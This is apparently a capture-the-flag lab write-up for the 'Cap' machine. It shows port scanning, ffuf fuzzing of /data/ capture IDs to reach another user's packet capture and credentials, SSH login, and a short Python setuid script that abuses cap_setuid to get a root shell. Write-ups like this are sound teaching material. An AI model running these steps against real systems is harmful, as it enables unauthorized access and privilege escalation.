Cap

Machine Details

Information Gathering

Scanned all TCP ports:

❯ sudo nmap -p- -sS -Pn -n --open -T4 10.129.68.102 -oG ports
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Enumerated open TCP ports:

❯ sudo nmap -p21,22,80 -sCV -Pn -n -T4 10.129.68.102 -oN nmap
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
|   256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_  256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open  http    Gunicorn
|_http-title: Security Dashboard
|_http-server-header: gunicorn
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

Port 80 - HTTP (Apache)

We start by navigating through the web page. We can see that if we click the Security Snapshot button in the left pane, a 5 second delay will happen, and then we will get redirected to the page /data/X, being X a positive number. This new page shows us stats about a Network Traffic Capture, and allows us to download it. We will fuzz the number “parameter” to see if we can access other users captures. To do this we will create a text file with a sequence of numbers, ranging from 0 to (for example) 100000.

❯ seq 0 100000 > numbers_0_100000.txt
❯ ffuf -w=numbers_0_100000.txt -u http://10.129.68.102/data/FUZZ -fs 208
3                       [Status: 200, Size: 17144, Words: 7066, Lines: 371, Duration: 56ms]
0                       [Status: 200, Size: 17147, Words: 7066, Lines: 371, Duration: 93ms]

Here we can see our capture, with the ID 3, and a capture with ID 0. We will inspect it.

Upon inspection we are able to see some credentials for a user nathan.

Exploitation

Using credentials

We already have the credentials for nathan user in the FTP service, we will check if they work for SSH too.

❯ ssh nathan@10.129.68.102
nathan@10.129.68.102's password: 
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
nathan@cap:~$

As we can see, they are working.

Privilege Escalation to root

Local Enumeration

We can enumerate binaries with some capabilities enabled.

nathan@cap:~$ getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip

As we can see, the python3.8 has the cap_setuid enabled, this means that the binary can run as it’s owner. We just need to create a Python script to exploit this.

Privilege Escalation vector

To exploit the capability cap_setuid in Python, we can just use the module os, which will allow us to set the UID while running. The script is the following.

nathan@cap:~$ cat exploit.py 
import os
os.setuid(0)
os.system("/bin/bash")

And once we run it we are able to get a shell as root.

nathan@cap:~$ python3 exploit.py 
root@cap:~# id
uid=0(root) gid=1001(nathan) groups=1001(nathan)

Trophy